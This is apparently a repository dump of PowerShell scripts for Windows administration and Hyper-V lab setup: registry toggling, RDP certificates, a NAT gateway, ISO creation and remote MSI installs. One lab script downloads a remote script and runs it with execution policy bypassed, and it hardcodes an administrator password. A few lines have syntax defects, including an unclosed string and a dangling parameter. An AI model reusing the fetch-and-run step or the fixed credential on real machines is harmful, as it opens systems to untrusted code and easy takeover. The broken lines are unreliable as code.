97 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null
98 |
99 | } Else {
100 |
101 | # Create the path
102 | New-Item -Path $Key -Force | Out-Null
103 |
104 | #Set the value to enable offline installtion
105 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null
106 | }
107 | }
108 | ##############################################################################################
109 |
110 |
111 | # Main(Off)
112 | ##############################################################################################
113 | If($Off){
114 |
115 |
116 | If(!$Force){
117 | If(!(Test-RegistryValue -Path $BackupKey -Value $Name)){
118 | write-host "Previous stored settings could not be located, cannot continue. Use the -Force parameter to override and reset to OS default." -ForegroundColor Yellow
119 | return
120 | }
121 | }
122 |
123 | If(Test-RegistryValue -Path $Key -Value $Name){
124 |
125 | If(Test-RegistryValue -Path $BackupKey -Value $Name){
126 |
127 | # Reset the default value
128 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value (Get-ItemProperty -Path $BackupKey | Select-Object -ExpandProperty $Name) -Force | Out-Null
129 |
130 | #Delete The Backup
131 | Remove-Item -Path $BackupKeyRoot -Recurse -Force | Out-Null
132 |
133 | } Else {
134 |
135 | # Set the default value if the backup does not exist
136 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null
137 |
138 | }
139 |
140 | } Else {
141 |
142 | If(Test-RegistryValue -Path $BackupKey -Value $Name){
143 |
144 | # Create the path
145 | New-Item -Path $Key -Force | Out-Null
146 |
147 | # Set the default value
148 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value (Get-ItemProperty -Path $BackupKey | Select-Object -ExpandProperty $Name) -Force | Out-Null
149 |
150 | #Delete The Backup
151 | Remove-Item -Path $BackupKeyRoot -Recurse -Force | Out-Null
152 |
153 | } Else {
154 |
155 | # Create the path
156 | New-Item -Path $Key -Force | Out-Null
157 |
158 | # Set the Default Value if the backup does not exist
159 | New-ItemProperty -Path $Key -Name $Name -PropertyType DWORD -Value $DefaultValue -Force | Out-Null
160 |
161 | }
162 | }
163 | }
164 | ##############################################################################################
--------------------------------------------------------------------------------
/Scripts/AutomatedLab/Install-SingleEndPoint.ps1:
--------------------------------------------------------------------------------
1 | $Name = "SingleEP"
2 |
3 | New-LabDefinition -Name "SingleEndPoint" `
4 | -DefaultVirtualizationEngine HyperV
5 |
6 | Set-LabInstallationCredential -Username "superuser" `
7 | -Password "P@ssw0rd!"
8 |
9 | Add-LabVirtualNetworkDefinition -Name 'Default Switch' `
10 | -HyperVProperties @{SwitchType = 'External'; AdapterName = 'Ethernet'}
11 |
12 | Add-LabMachineDefinition -Name $Name -OperatingSystem 'Windows 10 Enterprise Evaluation' `
13 | -Network 'Default Switch' `
14 | -Memory 8GB `
15 | -Processors 4 `
16 | -EnableWindowsFirewall
17 | Install-Lab
18 |
19 | # Remove Edge
20 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "EdgeRemove" -ScriptBlock {
21 | Invoke-WebRequest -Uri "https://raw.githubusercontent.com/ChrisTitusTech/winutil/main/edgeremoval.ps1" -OutFile "edgeremoval.ps1"
22 | Start-Process "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -File .\edgeremoval.ps1"
23 | } -PassThru
24 |
25 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Winget" -ScriptBlock {
26 | Invoke-WebRequest -Uri "https://aka.ms/getwinget" `
27 | -OutFile "Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle"
28 | Invoke-WebRequest -Uri "https://aka.ms/Microsoft.VCLibs.x64.14.00.Desktop.appx" `
29 | -OutFile "Microsoft.VCLibs.x64.14.00.Desktop.appx"
30 | Invoke-WebRequest -Uri "https://github.com/microsoft/microsoft-ui-xaml/releases/download/v2.8.6/Microsoft.UI.Xaml.2.8.x64.appx" `
31 | -OutFile "Microsoft.UI.Xaml.2.8.x64.appx"
32 |
33 | Add-AppxPackage "Microsoft.VCLibs.x64.14.00.Desktop.appx"
34 | Add-AppxPackage "Microsoft.UI.Xaml.2.8.x64.appx"
35 | Add-AppxPackage "Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle"
36 |
37 | Remove-Item -Path "Microsoft.VCLibs.x64.14.00.Desktop.appx"
38 | Remove-Item -Path "Microsoft.UI.Xaml.2.8.x64.appx"
39 | Remove-Item -Path "Microsoft.DesktopAppInstaller_8wekyb3d8bbwe.msixbundle"
40 | }
41 |
42 | # Download VPN
43 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "VPN" -ScriptBlock {
44 | Invoke-WebRequest -Uri "https://www.ipvanish.com/software/setup-prod-v2/ipvanish-setup.exe" -OutFile "ipvanish-setup.exe"
45 | }
46 |
47 | # Remove AutoStart
48 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "BGInfo" -ScriptBlock {
49 | Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "BgInfo"
50 | }
51 |
52 | # Remove AutoLogon
53 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Disable AutoLogon" -ScriptBlock {
54 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -ErrorAction SilentlyContinue){
55 | Set-ItemProperty -literalPath 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoAdminLogon -Value 0
56 | }
57 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount -ErrorAction SilentlyContinue ){
58 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonCount
59 | }
60 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword -ErrorAction SilentlyContinue ){
61 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultPassword
62 | }
63 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID -ErrorAction SilentlyContinue ){
64 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name AutoLogonSID
65 | }
66 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName -ErrorAction SilentlyContinue ){
67 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultDomainName
68 | }
69 | if(Get-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName -ErrorAction SilentlyContinue ){
70 | Remove-ItemProperty -Path 'HKLM:\\Software\Microsoft\Windows NT\CurrentVersion\winlogon' -Name DefaultUserName
71 | }
72 |
73 | } -PassThru
74 |
75 | # Cleanup Deployment Files From Virtual Machines
76 | Invoke-LabCommand -ComputerName (Get-LabVM) -ActivityName "Cleanup" -ScriptBlock {
77 | if (Test-Path -Path 'C:\AdditionalDisksOnline.ps1'){
78 | Remove-Item 'C:\AdditionalDisksOnline.ps1' -Force
79 | }
80 | if (Test-Path -Path 'C:\Unattend.xml'){
81 | Remove-Item 'C:\Unattend.xml' -Force
82 | }
83 | if (Test-Path -Path 'C:\WSManRegKey.reg'){
84 | Remove-Item 'C:\WSManRegKey.reg' -Force
85 | }
86 | if (Test-Path -Path 'C:\DeployDebug'){
87 | Remove-Item 'C:\DeployDebug' -Recurse -Force
88 | }
89 | if (Test-Path -Path 'C:\WinRmCustomization.ps1'){
90 | Remove-Item 'C:\WinRmCustomization.ps1' -Recurse -Force
91 | }
92 | if (Test-Path -Path 'C:\Scripts'){
93 | Remove-Item 'C:\Scripts' -Recurse -Force
94 | }
95 | if (Test-Path -Path (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') )){
96 | Remove-Item (Join-Path -Path 'C:' -ChildPath $($env:COMPUTERNAME + '.cer') ) -Recurse -Force
97 | }
98 | if (Test-Path -Path 'edgeremoval.ps1' ){
99 | Remove-Item 'edgeremoval.ps1' -Recurse -Force
100 | }
101 | }
102 |
103 | $Session = New-LabPSSession -ComputerName (Get-LabVM)
104 | Copy-Item -ToSession $Session -Path "C:\LabSources\PostInstallationActivities\EndPoint\apps.bat" -Destination "C:\users\superuser\desktop"
105 | Remove-PSSession -Session $Session
106 |
107 | # Set UAC
108 | Set-LabVMUacStatus -ComputerName (Get-LabVM) -EnableLUA $true -ConsentPromptBehaviorAdmin 5 -ConsentPromptBehaviorUser 3
109 |
110 | # Reboot
111 | $LabClients = Get-LabVM | Where-Object {( $_.OperatingSystem -NotLike "*Windows Server*" -and $_.OperatingSystemType -eq "Windows" )}
112 | foreach($LabClient in $LabClients)
113 | {
114 | Restart-LabVM -ComputerName $LabClient.Name -NoNewLine -Wait
115 | }
116 |
117 | # Show all the installation details
118 | Show-LabDeploymentSummary -Detailed
--------------------------------------------------------------------------------
/Scripts/Set-RDPCertificate.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Set the server certificate for the RDP connection.
4 |
5 | .DESCRIPTION
6 | This script sets a custom certificate for the RDP session on Windows Server 2012 R2.
7 |
8 | Script version: 1.1
9 | Script Author: Michael Waterman
10 |
11 | .Parameter Hash
12 | provide a valid hash for the certificate you want to use. Please note that the certificate needs o.i.d: 1.3.6.1.5.5.7.3.1 and 1.3.6.1.5.5.7.3.2.
13 |
14 | .Parameter Delete
15 | Deletes the current RDP Certificate. requires the Hash parameter.
16 |
17 | .Parameter Terminalname
18 | Provides a custom name for the RDP connection name. Default is "RDP-TCP".
19 |
20 | .Parameter listCerts
21 | Lists all certificates in the personal store of the local computer.
22 |
23 | .Parameter ListCurrent
24 | Displays the certificate currently assigned to the RDP-TCP connection.
25 |
26 | .EXAMPLE
27 | Set-RDPCertificate -hash C6761A68B39DCB056C8268CFE6FB640DB5EF7715
28 |
29 | Updates the RDP Certificate to the provided hash value.
30 |
31 | .EXAMPLE
32 | Set-RDPCertificate -hash C6761A68B39DCB056C8268CFE6FB640DB5EF7715 -delete
33 |
34 | Updates the RDP Certificate to the provided hash value and deletes the current one if the hash value is different to the one provided.
35 |
36 | .EXAMPLE
37 | Set-RDPCertificate -hash C6761A68B39DCB056C8268CFE6FB640DB5EF7715 -Terminalname MY-RDP
38 |
39 | Updates the RDP Certificate to the provided hash value on the MY-RDP connection instead of the default RDP-TCP.
40 |
41 | .EXAMPLE
42 | Set-RDPCertificate -ListCerts
43 |
44 | Lists the available certificates from the local computer store.
45 |
46 | .EXAMPLE
47 | Set-RDPCertificate -ListCurrent
48 |
49 | List the currently used certificate for the RDP-TCP connection.
50 |
51 | #>
52 |
53 |
54 |
55 | # Parameter input
56 | ##############################################################################################
57 | [CmdletBinding(DefaultParameterSetName="hash")]
58 | param(
59 |
60 | [Parameter(ParameterSetName="hash", Mandatory=$true)]
61 | [string]$Hash,
62 | [Parameter(ParameterSetName="hash", Mandatory=$false)]
63 | [switch]$Delete,
64 | [Parameter(ParameterSetName="hash", Mandatory=$false)]
65 | [string]$Terminalname = "RDP-TCP",
66 | [Parameter(ParameterSetName="certificates", Mandatory=$true)]
67 | [switch]$listCerts,
68 | [Parameter(ParameterSetName="current", Mandatory=$true)]
69 | [switch]$ListCurrent
70 | )
71 | ##############################################################################################
72 |
73 |
74 | # Check the minimal supported Windows version
75 | ##############################################################################################
76 | $OSVersion = (Get-CimInstance -Class Win32_OperatingSystem).Version
77 | $OSVersionRequired = '6.3.9600'
78 |
79 | if ([version]$OSVersion -lt [version]$OSVersionRequired )
80 | {
81 | write-host $Caption "Is not supported"
82 | return
83 | }
84 | ##############################################################################################
85 |
86 |
87 | # Set the script variables
88 | ##############################################################################################
89 | $certificates = Get-ChildItem -path cert:\LocalMachine\My\
90 | $CertificateCheck = $false
91 | $ErrorActionPreference = "Stop"
92 | $Query = "select * from Win32_TSGeneralSetting where Terminalname LIKE ""$Terminalname"""
93 | $CurrentCert = Get-CimInstance -Namespace root/cimv2/terminalservices -Query $Query
94 | ##############################################################################################
95 |
96 |
97 | # List all certificates in the local computer store
98 | ##############################################################################################
99 | if ($listCerts) {
100 | Get-ChildItem -path cert:\LocalMachine\My\ |
101 | Format-table Thumbprint, @{
102 | Name= 'Issued to'; Expression= {
103 | $_.getnameinfo('SimpleName', $false)
104 | }
105 | }, Friendlyname
106 | return}
107 | ##############################################################################################
108 |
109 |
110 | # Display the current certificate
111 | ##############################################################################################
112 | if($ListCurrent)
113 | {
114 | Get-CimInstance -Namespace root/cimv2/terminalservices -ClassName Win32_TSGeneralSetting |
115 | Select CertificateName, TerminalName, SSLCertificateSHA1Hash |
116 | Format-List
117 | return
118 | }
119 | ##############################################################################################
120 |
121 |
122 | # Check the lenght of the hash
123 | ##############################################################################################
124 | if ($hash.Length -lt 40)
125 | {
126 | Write-Host "Provided hash value is not at the expected lenght" -ForegroundColor Red
127 | return
128 | }
129 | ##############################################################################################
130 |
131 |
132 | # Main
133 | ##############################################################################################
134 | foreach ($certificate in $certificates)
135 | {
136 | if ($certificate.Thumbprint -contains $hash)
137 | {
138 | $CertificateCheck = $true
139 |
140 | if ($certificate.EnhancedKeyUsageList.Objectid -contains "1.3.6.1.5.5.7.3.1" -and $certificate.EnhancedKeyUsageList.Objectid -contains "1.3.6.1.5.5.7.3.2" )
141 | {
142 | if ($Delete)
143 | {
144 | if($hash -ne $CurrentCert.SSLCertificateSHA1Hash)
145 | {
146 | Get-ChildItem Cert:\LocalMachine\My\$($CurrentCert.SSLCertificateSHA1Hash) |
147 | Remove-Item
148 | }
149 | }
150 |
151 | Set-CimInstance -InputObject $currentcert -Property @{SSLCertificateSHA1Hash="$hash"}
152 |
153 | if($?) {
154 | Write-Host "Certificate successfully set"
155 | return
156 | }
157 |
158 | } else {
159 | Write-Host "The certificate does not contain the required key usage client & server authentication" -ForegroundColor Yellow
160 | return
161 | }
162 |
163 | }
164 | }
165 |
166 |
167 | # No certificate found
168 | ##############################################################################################
169 | if (!$CertificateCheck)
170 | {
171 | Write-Host "Provided certificate hash was not found in local computer certificate store" -ForegroundColor Red
172 | return
173 | }
174 | ##############################################################################################
--------------------------------------------------------------------------------
/Scripts/Install-Gateway.ps1:
--------------------------------------------------------------------------------
1 | #Requires -RunAsAdministrator
2 | #Requires -Version 5.1
3 |
4 | <#PSScriptInfo
5 | .VERSION 1.0
6 | .GUID 66c01f41-81df-4125-8431-7b34d360df43
7 | .AUTHOR ACA IT-Solution - Security Consulting
8 | .COMPANYNAME ACA IT-Solution
9 | .COPYRIGHT
10 | .TAGS LAB Gateway
11 | #>
12 |
13 | <#
14 | .SYNOPSIS
15 | Install and configure a gateway server for a hyper-v based lab
16 |
17 | .DESCRIPTION
18 | This script installs and configures a gateway server for a hyper-v based lab
19 |
20 | Please note that this script requires Windows Server 2016 or above.
21 |
22 | .EXAMPLE
23 | Install-Gateway.ps1
24 | Configure a gateway server.
25 |
26 | .EXAMPLE
27 | Install-Gateway.ps1 -InstallRouting
28 | Install the Windows Routing feature and restart, this needs to be done before the machine can be configured.
29 |
30 | .EXAMPLE
31 | Install-Gateway.ps1 -InternallNetWorkAddress 00-15-5D-0A-C8-12 -ExternallNetWorkAddress 00-15-5D-0A-C8-13 InternalAdapterName corp
32 | -ExternalAdapterName gateway -InternalIPAddress 192.168.11.1 -InternalPrefixLength 24
33 | -InternalConnectionSpecificSuffix mydomain.com -InternalDNSServerAddresses 192.168.11.2,192.168.11.3
34 | Set all available parameters
35 |
36 | .NOTES
37 | AUTHOR: ACA IT-Solution - Security Consulting
38 | LASTEDIT: 2020.03.30
39 | #>
40 |
41 | [cmdletbinding(DefaultParameterSetName='Configure')]
42 | param (
43 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
44 | [string]$InternallNetWorkAddress,
45 |
46 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
47 | [string]$ExternallNetWorkAddress,
48 |
49 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
50 | [string]$InternalAdapterName,
51 |
52 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
53 | [string]$ExternalAdapterName,
54 |
55 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
56 | [string]$InternalIPAddress,
57 |
58 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
59 | [string]$InternalPrefixLength,
60 |
61 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
62 | [string]$InternalConnectionSpecificSuffix,
63 |
64 | [Parameter(Mandatory=$true, ParameterSetName='Configure')]
65 | [Array]$InternalDNSServerAddresses,
66 |
67 | [Parameter(Mandatory=$true, ParameterSetName='RoutingInstall')]
68 | [switch]$InstallRouting
69 | )
70 |
71 | $ErrorActionPreference = "Stop"
72 |
73 | Switch ($InstallRouting) {
74 | $true { switch ( (Get-WindowsFeature -Name Routing).InstallState) {
75 | Available { Install-WindowsFeature -Name Routing -IncludeAllSubFeature -Restart ; return }
76 | Installed { Write-Error "Windows Feature Routing is already installed" }
77 | Default { Write-Verbose "State of the Windows Feature Routing is unknown, configuration cannot continue" ; return }
78 | }
79 | }
80 | $False { switch ( (Get-WindowsFeature -Name Routing).InstallState) {
81 | Available { Write-Verbose "Windows Feature Routing is not installed, use the -InstallRouting to install the role first" ; return }
82 | Installed { Write-Verbose "Windows Feature Routing is installed, configuration can continue" }
83 | Default { Write-Verbose "State of the Windows Feature Routing is unknown, configuration cannot continue" ; return }
84 | }
85 | }
86 | }
87 |
88 | Write-Verbose -Message "Check the operational status of the networkadapters"
89 | If(Get-NetAdapter | Where-Object Status -NE "UP"){
90 | Write-Error -Message "Network is not operational"
91 | }
92 |
93 | Write-Verbose -Message "Rename the networkadapter"
94 | Get-NetAdapter | Where-Object MacAddress -EQ $InternallNetWorkAddress | Rename-NetAdapter -NewName $InternalAdapterName
95 | Get-NetAdapter | Where-Object MacAddress -EQ $ExternallNetWorkAddress | Rename-NetAdapter -NewName $ExternalAdapterName
96 |
97 | Write-Verbose -Message "Configure the adapter bindings and disable ip registration in dns"
98 | foreach($NetAdapter in (Get-NetAdapter | where {($_.MacAddress -EQ $InternallNetWorkAddress) -or ($_.MacAddress -EQ $ExternallNetWorkAddress)})){
99 | Foreach($NetAdapterBinding in (Get-NetAdapterBinding -InterfaceAlias $NetAdapter.Name )){
100 | Disable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID $NetAdapterBinding.ComponentID
101 | }
102 | Enable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID "ms_tcpip"
103 | Disable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID "ms_msclient"
104 | Disable-NetAdapterBinding -Name $NetAdapter.Name -ComponentID "ms_server"
105 |
106 | Set-DnsClient -InterfaceAlias $NetAdapter.Name -RegisterThisConnectionsAddress $false
107 | }
108 |
109 | Write-Verbose -Message "Set the IP address of the internal adapter"
110 | New-NetIPAddress -IPAddress $InternalIPAddress -InterfaceAlias $InternalAdapterName -AddressFamily IPv4 -PrefixLength $InternalPrefixLength | Out-Null
111 |
112 | Write-Verbose -Message "Set the DNS servers for the internal adapter"
113 | Set-DnsClientServerAddress -InterfaceAlias $InternalAdapterName -ServerAddresses $InternalDNSServerAddresses
114 |
115 | Write-Verbose -Message "Set the connection specific dns suffix for the internal adapter"
116 | Set-DnsClient -InterfaceAlias $InternalAdapterName -ConnectionSpecificSuffix $InternalConnectionSpecificSuffix
117 |
118 | Write-Verbose -Message "Disable netbios over TCP/IP"
119 | Invoke-CimMethod -Query 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=1' -MethodName SetTcpipNetbios -Arguments @{TcpipNetbiosOptions=[uint32]2} | Out-Null
120 |
121 | Write-Verbose -Message "Disable LMHOST lookup
122 | Invoke-CimMethod -ClassName Win32_NetworkAdapterConfiguration -Arguments @{WINSEnableLMHostsLookup=$false} -MethodName EnableWINS | Out-Null
123 |
124 | Write-Verbose -Message "Enable ICMPv4 Ping Echo reply"
125 | Enable-NetFirewallRule -Name "FPS-ICMP4-ERQ-In"
126 |
127 | Write-Verbose -Message "Set the RemoteAccess service to automatically start"
128 | Set-Service -Name RemoteAccess -StartupType Automatic
129 |
130 | Write-Verbose -Message "Start the RemoteAccess service"
131 | Start-Service -Name RemoteAccess
132 |
133 | Write-Verbose -Message "Install the NAT routing feature"
134 | Invoke-Command -ScriptBlock { & netsh.exe routing ip nat install } -ErrorAction SilentlyContinue | Out-Null
135 |
136 | Write-Verbose -Message "Add the external network adapter as a NAT interface"
137 | Invoke-Command -ScriptBlock { & netsh.exe routing ip nat add interface $ExternalAdapterName }
138 |
139 | Write-Verbose -Message "Set the external network interface to full NAT"
140 | # Full specifies that full (address and port) translation mode is enabled.
141 | # addressonly specifies that address-only translation mode is enabled.
142 | # private specifies that private mode is enabled
143 | Invoke-Command -ScriptBlock { & netsh.exe routing ip nat set interface $ExternalAdapterName mode=full }
144 |
145 | Write-Verbose -Message "Enable the NAT configuration"
146 | Invoke-Command -ScriptBlock { & netsh.exe ras set conf confstate = enabled } | Out-Null
147 |
148 | Write-Verbose -Message "Restart the RemoteAccess service"
149 | Restart-Service -Name RemoteAccess
150 |
151 | if( $? ){
152 | Write-Verbose -Message "Script was succesfully executed"
153 | }
--------------------------------------------------------------------------------
/Scripts/Windows Installation Media/New-WindowsInstallationMedia.ps1:
--------------------------------------------------------------------------------
1 | Param (
2 | [Parameter(Mandatory=$true)]
3 | [string]$XMLFile
4 | )
5 |
6 | # Initialize objects for security
7 | $wid=[System.Security.Principal.WindowsIdentity]::GetCurrent()
8 | $prp=new-object System.Security.Principal.WindowsPrincipal($wid)
9 | $adm=[System.Security.Principal.WindowsBuiltInRole]::Administrator
10 | $IsAdmin=$prp.IsInRole($adm)
11 |
12 | # Halt if the script is not running as admin
13 | if($IsAdmin -eq $false)
14 | {
15 | Write-Verbose "Process is not running as admin"
16 | exit
17 | }
18 |
19 | # Event Logging
20 |
21 | $source = "SecureDeployment"
22 |
23 | if ([System.Diagnostics.EventLog]::SourceExists($source) -eq $false)
24 | {
25 | [System.Diagnostics.EventLog]::CreateEventSource($source, "Application")
26 | }
27 |
28 | # Functions
29 | function Test-FileLock {
30 | param (
31 | [parameter(Mandatory=$true)][string]$Path
32 | )
33 |
34 | $oFile = New-Object System.IO.FileInfo $Path
35 |
36 | if ((Test-Path -Path $Path) -eq $false) {
37 | return $false
38 | }
39 |
40 | try {
41 | $oStream = $oFile.Open([System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None)
42 |
43 | if ($oStream) {
44 | $oStream.Close()
45 | }
46 | return $false
47 | } catch {
48 | # file is locked by a process.
49 | return $true
50 | }
51 | }
52 |
53 |
54 | # Test the XML Data file location
55 | If(Test-Path $XMLFile){
56 | [XML]$XML = Get-Content -Path $XMLFile
57 | } Else {
58 | Write-EventLog -EventId 1 -LogName Application -Message "XML Data File not Found" -Source SecureDeployment -Category 0 -EntryType Error
59 | Write-Verbose "XML Data File not Found"
60 | Return
61 | }
62 |
63 | # Test the Image capture folder
64 | If(Test-Path $XML.Configuration.ImageData.CaptureFolder){
65 | # Folder exists, continue
66 | } Else {
67 | Write-EventLog -EventId 2 -LogName Application -Message "Image Capture folder not found" -Source SecureDeployment -Category 0 -EntryType Error
68 | Write-Verbose "Image Capture folder not found"
69 | Return
70 | }
71 |
72 | # Test the ISO destination folder
73 | If(Test-Path $XML.Configuration.ImageData.DestinationFolder){
74 | # Folder exists, continue
75 | } Else {
76 | Write-EventLog -EventId 3 -LogName Application -Message "ISO destination folder not found" -Source SecureDeployment -Category 0 -EntryType Error
77 | Write-Verbose "ISO destination folder not found"
78 | Return
79 | }
80 |
81 | # Test the ISO Creation Utility
82 | If(Test-Path $XML.Configuration.ImageData.Oscdimg){
83 | # File exists, continue
84 | } Else {
85 | Write-EventLog -EventId 4 -LogName Application -Message "ISO creation utility OSCDIMG could not be located" -Source SecureDeployment -Category 0 -EntryType Error
86 | Write-Verbose "ISO creation utility OSCDIMG could not be located"
87 | Return
88 | }
89 |
90 | # Get the Content of the capture folder
91 | $WimFiles = Get-ChildItem -Path $XML.Configuration.ImageData.CaptureFolder -Filter "*.wim"
92 |
93 | If($WimFiles){
94 | foreach($WIMFile in $WimFiles){
95 |
96 | Write-EventLog -EventId 5 -LogName Application -Message "New WIM file with name $WIMFile detected" -Source SecureDeployment -Category 0 -EntryType Information
97 |
98 | # Check OpLock
99 | If(Test-FileLock -Path $WIMFile.Fullname){
100 | Write-EventLog -EventId 6 -LogName Application -Message "file $WIMFile is locked, will try at next run" -Source SecureDeployment -Category 0 -EntryType Warning
101 | Return
102 | }
103 |
104 | # Get/Set the Staging Folder
105 | If(Test-Path $XML.Configuration.ImageData.StagingFolder){
106 | Remove-Item -Path $XML.Configuration.ImageData.StagingFolder -Recurse -Force
107 | New-Item -Path $XML.Configuration.ImageData.StagingFolder -ItemType Directory -Force | Out-Null
108 | } Else {
109 | New-Item -Path $XML.Configuration.ImageData.StagingFolder -ItemType Directory -Force | Out-Null
110 | }
111 |
112 | # Get the MDT Generated Image Name
113 | $MDTImageName = Get-WindowsImage -ImagePath $WIMFile.Fullname -Index 1 | Select -ExpandProperty ImageName
114 |
115 | # Search for the Conversion Name
116 | $FileName = Select-Xml -Xml $XML -XPath "//OperatingSystem[@key='$MDTImageName']" | select -ExpandProperty Node | Select -ExpandProperty Name
117 |
118 | # Search for the Image Name
119 | $ImageName = Select-Xml -Xml $XML -XPath "//OperatingSystem[@key='$MDTImageName']/ImageName" | select -ExpandProperty Node | Select -ExpandProperty "#text"
120 |
121 | # Get the Source Folder
122 | $SourceFolder = Select-Xml -Xml $XML -XPath "//OperatingSystem[@key='$MDTImageName']/Source" | select -ExpandProperty Node | Select -ExpandProperty "#text"
123 |
124 | # Copy The Source Content to the Staging Folder
125 | If(Test-Path $SourceFolder){
126 | Copy-Item -Path (Join-Path -Path $SourceFolder -ChildPath "\*") -Destination $XML.Configuration.ImageData.StagingFolder -Exclude @('install.wim','*.clg') -Recurse -
127 | } Else {
128 | Write-EventLog -EventId 7 -LogName Application -Message "Source Folder Could not be located" -Source SecureDeployment -Category 0 -EntryType Error
129 | Write-Verbose "Source Folder Could not be located"
130 | Return
131 | }
132 |
133 | # Copy the Captured WIM File to the Staging Sources folder
134 | Export-WindowsImage -SourceImagePath $WIMFile.Fullname -DestinationImagePath (Join-Path $XML.Configuration.ImageData.StagingFolder -ChildPath "sources\install.wim") -SourceName $MDTImageName -DestinationName $ImageName | Out-Null
135 |
136 | # Create the ISO File Name
137 | $GetDate = Get-Date
138 | $Today = [string]$($GetDate.Day) + '-' + [string]$($GetDate.Month) + '-' + [string]$($GetDate.Year)
139 | $ISOFile = (Join-Path $XML.Configuration.ImageData.DestinationFolder -ChildPath ($FileName + " - " + $Today + ".iso" ) )
140 |
141 | # Remove Previous ISO File
142 | if(Test-Path $ISOFile){
143 | Remove-Item $ISOFile -Force
144 | }
145 |
146 | # Instead of pointing to normal efisys.bin, use the *_noprompt instead
147 | if($XML.Configuration.ImageData.BootPrompt -eq "true"){
148 | $BootFile = "efisys.bin"
149 | } Else {
150 | $BootFile = "efisys_noprompt.bin"
151 | }
152 |
153 | $BootData='2#p0,e,b"{0}"#pEF,e,b"{1}"' -f "$($XML.Configuration.ImageData.StagingFolder)\boot\etfsboot.com","$($XML.Configuration.ImageData.StagingFolder)\efi\Microsoft\boot\$BootFile"
154 |
155 | # Create the ISO File
156 | Start-Process -FilePath $($XML.Configuration.ImageData.Oscdimg) -ArgumentList @("-bootdata:$BootData",'-u2','-udfver102',"$($XML.Configuration.ImageData.StagingFolder)","""$ISOFile""") -PassThru -Wait -NoNewWindow
157 |
158 | # Clean the Staging folder
159 | If(Test-Path $XML.Configuration.ImageData.StagingFolder){
160 | Remove-Item -Path $XML.Configuration.ImageData.StagingFolder -Recurse -Force
161 | }
162 |
163 | # Remove the MDT Source WIM File
164 | if($XML.Configuration.ImageData.RemoveSourceWim -eq "true"){
165 | Remove-Item $WIMFile.Fullname -Force
166 | }
167 |
168 | Write-EventLog -EventId 8 -LogName Application -Message "Succesfully created $ISOFile" -Source SecureDeployment -Category 0 -EntryType Information
169 | }
170 | } Else {
171 | Write-EventLog -EventId 9 -LogName Application -Message "No WIM Files could be located" -Source SecureDeployment -Category 0 -EntryType Information
172 | Write-Output "No WIM Files could be located"
173 | Return
174 | }
--------------------------------------------------------------------------------
/Modules/Install-RemoteMSI/Install-RemoteMSI.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Install a MSI file on a remote machine using PowerShell.
4 |
5 | .DESCRIPTION
6 | This script installs a MSI file remotly on a Windows based
7 | machine using PowerShell remoting. The files are first copied
8 | to the remote machine and executed there. After the installation
9 | all remote files are cleaned up. Logging is done with every
10 | step of the process. Log files can be located in the local
11 | C:\Windows\Temp folder.
12 |
13 | .Parameter MSIFile
14 | File name of the MSI file. If no filename is ommited
15 | "install.msi" is used.
16 |
17 | .Parameter MSILocalWorkingDirectory
18 | The Name of the local install folder. E.g. C:\Foldername.
19 | Please note that the MSIFile should be present in this
20 | folder.
21 |
22 | .Parameter MSIParam
23 | Parameters used during the installation of the MSI file. When
24 | this parameter is not ommited the default of "/quiet" is used.
25 |
26 | .Parameter ComputerListPath
27 | The full path to the file containing the host names of the target
28 | machines.
29 |
30 | .Parameter OpenLog
31 | Opens the logfile after an installation.
32 |
33 | .Parameter NoClear
34 | Does not clear the screen when using -Verbose combined with -Openlog
35 |
36 | .Example
